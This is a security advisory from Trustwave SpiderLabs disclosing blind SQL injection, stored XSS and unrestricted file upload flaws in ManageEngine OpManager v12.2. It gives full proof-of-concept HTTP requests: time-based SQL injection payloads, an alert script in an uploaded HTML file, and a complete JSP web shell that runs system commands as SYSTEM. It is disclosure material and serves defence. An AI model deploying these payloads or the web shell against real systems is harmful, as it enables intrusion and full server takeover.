Trustwave SpiderLabs Security Advisory TWSL2017-014:
Multiple Vulnerabilities in ManageEngine OpManager

Published: 07/26/2017
Version: 1.0

Vendor: ManageEngine (https://www.manageengine.com/)
Product: OpManager
Version Affected: v12.2 (Build Number 12200)

Product Description:
OpManager is a network management product that offers a single console solution to 
manage the complete IT network of any organization - whether operating on a small, 
mid-size or large scale. It offers a sturdy fault and performance management 
functionality across routers, switches, firewalls, WAN links, VoIP links, wireless 
access points, multi-server platforms such as Windows, Unix, Linux, HP UX, IBM AIX 
and Solaris, virtual servers (VMware ESX & ESXi/ MS Hyper-V), load balancers, printers, 
temperature sensors and other IT components in the network.

Finding 1: Blind SQL Injection
Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs
CVE: CVE-2017-11559

Case 1: Unauthenticated

The 'apiKey' parameter of the directories "/api/json/admin/getmailserversettings" and 
"/api/json/dashboard/gotoverviewlist" is vulnerable to Blind SQL Injection attack. When
the payload "');SELECT+PG_SLEEP(10)--" is submitted to the vulnerable parameter, the 
application takes around 10035 milliseconds to respond, compared to 4 milliseconds for 
the original request. This indicates that the injected SQL command caused a time delay.


Case 2: Semi-unauthenticated

The 'searchString' parameter of the directory "/api/json/discovery/doSearch" is vulnerable 
to Blind SQL Injection attack. When the payload "';SELECT+PG_SLEEP(10)--" is submitted to 
the vulnerable parameter, the  application takes around 10050 milliseconds to respond, 
compared to 5 milliseconds for the original request. This indicates that the injected SQL 
command caused a time delay. For this to work, the parameter 'apiKey' must have a valid value. 
To get a valid API key, the user should log in first to the application. Once logged in, the 
API key can be found by viewing the HTML code of the page. Once the user has a valid API key, 
the attack can be performed both in an authenticated or unauthenticated manner.


PROOF OF CONCEPT:

The following PoC shows that the application delays its response for around 10 seconds if
the queried table ("pg_user" in this PoC) exists in the database. If the queried table 
doesn't exist, there's no delay in the application's response.

Case 1: Unauthenticated

GET /api/json/admin/getmailserversettings?apiKey=');SELECT+CASE+WHEN+(SELECT+1+FROM+pg_user+LIMIT+1)=1+THEN+PG_SLEEP(10)+ELSE+PG_SLEEP(0)+END; HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1

REQUEST:

GET /api/json/dashboard/gotoverviewlist?apiKey=');SELECT+CASE+WHEN+(SELECT+1+FROM+pg_user+LIMIT+1)=1+THEN+PG_SLEEP(10)+ELSE+PG_SLEEP(0)+END; HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1


Case 2: Semi-unauthenticated

REQUEST:

GET /api/json/discovery/doSearch?isFluidic=true&apiKey=38c48f68756e753f66431ef2fb57d7b4&searchString=';SELECT+CASE+WHEN+(SELECT+1+FROM+pg_user+LIMIT+1)=1+THEN+PG_SLEEP(10)+ELSE+PG_SLEEP(0)+END; HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1

Finding 2: Persistent Cross-ite Scripting (XSS)
Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs
CVE: CVE-2017-11560

DESCRIPTION:

By adding a Google Map to the application, authenticated user can upload an HTML file. This 
HTML file is then being rendered in various locations of the application. Javascript codes 
inside the uploaded HTML are also being interpreted by the application. Thus, an attacker can 
inject malicious Javascript payload inside the HTML file and upload it to the application.

PROOF OF CONCEPT:

The first HTTP Request/Response shows the uploaded HTML file containing the Javascript payload.
While the second shows the execution of the payload. 

REQUEST#1:

POST /api/json/maps/extractGMap?apiKey=38c48f68756e753f66431ef2fb57d7b4 HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
OPMCurrentRoute: http%3A%2F%2F172.16.1.134%3A8080%2Fapiclient%2Fember%2Findex.jsp%23%2FEndUser%2FList
X-Requested-With: XMLHttpRequest
Referer: http://172.16.1.134:8080/apiclient/ember/index.jsp
Content-Length: 267
Content-Type: multipart/form-data; boundary=---------------------------259662720710496
Cookie: JSESSIONID=9CE5B2377377106CAC718CBC76BFEB9D; f2RedirectUrl=null; sigin=false; NFA__SSO=4237E177415F9045A63D76B4C2845643
Connection: close

-----------------------------259662720710496
Content-Disposition: form-data; name="file"; filename="map.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<body>

<script>alert('XSS')</script> 

</body>
</html>
-----------------------------259662720710496--

RESPONSE#1:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Max-Age: 5000
Content-Type: application/json;charset=UTF-8
Vary: Accept-Encoding
Date: Sun, 05 Feb 2017 11:35:10 GMT
Connection: close
Content-Length: 62

{"result":{"message":"File has been uploaded successfully"}}


REQUEST#2:

GET /apiclient/ember/index.jsp HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: JSESSIONID=9CE5B2377377106CAC718CBC76BFEB9D; f2RedirectUrl=null; sigin=false; NFA__SSO=4237E177415F9045A63D76B4C2845643
Connection: close
Upgrade-Insecure-Requests: 1

RESPONSE#2:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Expires: Thu, 01 Jan 1970 10:00:00 EST
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Sun, 05 Feb 2017 11:51:02 GMT
Connection: close
Content-Length: 89488

...<SNIPPED>...

<!-- Google Map Html -->
<!DOCTYPE html>
<html>
<body>

<script>alert('XSS')</script> 

</body>
</html>


Finding 3: Unrestricted File Upload
Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs
CVE: CVE-2017-11561

CASE 1:

DESCRIPTION:

By visiting the "Group Chat" section of the application, authenticated user can upload any
file they want to share. This functionality can be abused by a malicious user by uploading
a web shell.

PROOF OF CONCEPT:

The first HTTP Request/Response shows the uploaded JSP shell "cmd.jsp" to the "Group Chat"
section of the application. The second HTTP Request/Response shows the execution of system
command using the uploaded shell.

REQUEST#1:

POST /api/json/dashboard/addPost?apiKey=38c48f68756e753f66431ef2fb57d7b4&groupID=0 HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.5
OPMCurrentRoute: http%3A%2F%2F172.16.1.134%3A8080%2Fapiclient%2Fember%2Findex.jsp%23%2FITPlus
X-Requested-With: XMLHttpRequest
Referer: http://172.16.1.134:8080/apiclient/ember/index.jsp
Content-Length: 1058
Content-Type: multipart/form-data; boundary=---------------------------312752416820928
Cookie: JSESSIONID=9CE5B2377377106CAC718CBC76BFEB9D; f2RedirectUrl=null; sigin=false; NFA__SSO=4237E177415F9045A63D76B4C2845643
Connection: close

-----------------------------312752416820928
Content-Disposition: form-data; name="post"

Uploading a shell.
-----------------------------312752416820928
Content-Disposition: form-data; name="[object HTMLInputElement]i"; filename="cmd.jsp"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
-----------------------------312752416820928--

RESPONSE#1:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Max-Age: 5000
Content-Type: application/json;charset=UTF-8
Vary: Accept-Encoding
Date: Sun, 05 Feb 2017 12:54:39 GMT
Connection: close
Content-Length: 477

[{"content":"Uploading&nbsp;a&nbsp;shell.","usernametrim":"admin","comment_count":"0","groupName":"Activity","last_participated_user":"null","tableName":"SOCIALITPOST","like_count":"0","createdtime":"2017-02-05 23:54:39","modified_time":"1486299279331","userid":"1","created_username":"admin","groupid":"0","post_id":"3"},{"filesize":"0KB","groupName":"Activity","tableName":"SOCIALITPOSTATTACHMENTS","filename":"cmd.jsp","filetype":"application/octet-stream","post_id":"3"

REQUEST#2:

GET /itplus/FileStorage/2/cmd.jsp?cmd=whoami HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.1.134:8080/itplus/FileStorage/2/cmd.jsp?cmd=whoami
Cookie: JSESSIONID=9CE5B2377377106CAC718CBC76BFEB9D; f2RedirectUrl=null; sigin=false; NFA__SSO=4237E177415F9045A63D76B4C2845643
Connection: close
Upgrade-Insecure-Requests: 1

RESPONSE#2:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Expires: Thu, 01 Jan 1970 10:00:00 EST
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 202
Vary: Accept-Encoding
Date: Sun, 05 Feb 2017 12:55:59 GMT
Connection: close


<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: whoami<BR>
nt authority\system

</pre>
</BODY></HTML>


CASE 2:

DESCRIPTION:

By viewing the details of an alert from the "Alarm" section of the application, authenticated 
user can upload files under the "Discuss" tab. This functionality can be abused by a 
malicious user by uploading a web shell.

PROOF OF CONCEPT:

The first HTTP Request/Response shows the uploaded JSP shell "cmd.jsp" under the "Discuss" tab
of the "Alarm" sectionof the application. The second HTTP Request/Response shows the execution 
of system command using the uploaded shell.

REQUEST#1:

POST /api/json/dashboard/addPost?apiKey=38c48f68756e753f66431ef2fb57d7b4&groupID=0&entityID=33&entityType=alarm HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: */*
Accept-Language: en-US,en;q=0.5
OPMCurrentRoute: http%3A%2F%2F172.16.1.134%3A8080%2Fapiclient%2Fember%2Findex.jsp%23%2FAlarms%2FAlarm%2FDetails%2FSYSTEM_PERF_JAVA_CPU
X-Requested-With: XMLHttpRequest
Referer: http://172.16.1.134:8080/apiclient/ember/index.jsp
Content-Length: 1042
Content-Type: multipart/form-data; boundary=---------------------------28412274413529
Cookie: JSESSIONID=9CE5B2377377106CAC718CBC76BFEB9D; f2RedirectUrl=null; sigin=false; NFA__SSO=4237E177415F9045A63D76B4C2845643
Connection: close

-----------------------------28412274413529
Content-Disposition: form-data; name="post"

Hello
-----------------------------28412274413529
Content-Disposition: form-data; name="[object HTMLInputElement]i"; filename="cmd.jsp"
Content-Type: application/octet-stream

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>
-----------------------------28412274413529--

RESPONSE#1:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Max-Age: 5000
Content-Type: application/json;charset=UTF-8
Vary: Accept-Encoding
Date: Sun, 05 Feb 2017 12:58:51 GMT
Connection: close
Content-Length: 454

[{"content":"Hello","usernametrim":"admin","comment_count":"0","groupName":"Activity","last_participated_user":"null","tableName":"SOCIALITPOST","like_count":"0","createdtime":"2017-02-05 23:58:51","modified_time":"1486299531638","userid":"1","created_username":"admin","groupid":"0","post_id":"4"},{"filesize":"0KB","groupName":"Activity","tableName":"SOCIALITPOSTATTACHMENTS","filename":"cmd.jsp","filetype":"application/octet-stream","post_id":"4"}]

REQUEST#2:

GET /itplus/FileStorage/4/cmd.jsp?cmd=whoami HTTP/1.1
Host: 172.16.1.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.1.134:8080/itplus/FileStorage/4/cmd.jsp
Cookie: JSESSIONID=9CE5B2377377106CAC718CBC76BFEB9D; f2RedirectUrl=null; sigin=false; NFA__SSO=4237E177415F9045A63D76B4C2845643
Connection: close
Upgrade-Insecure-Requests: 1

RESPONSE#2:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Expires: Thu, 01 Jan 1970 10:00:00 EST
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 202
Vary: Accept-Encoding
Date: Sun, 05 Feb 2017 13:08:20 GMT
Connection: close


<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: whoami<BR>
nt authority\system

</pre>
</BODY></HTML>

Remediation Steps:
No official patch is available.  To limit exposure, network access to the 
OpManager should be limited to authorized personnel through the use 
of Access Control Lists and proper network segmentation.


Revision History:
02/06/2017 - Vulnerability disclosed to vendor
04/12/2017 - Vendor provides expected patch date to Q2
07/10/2017 - Requested update from vendor (no fix available)
07/26/2017 - Advisory published

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.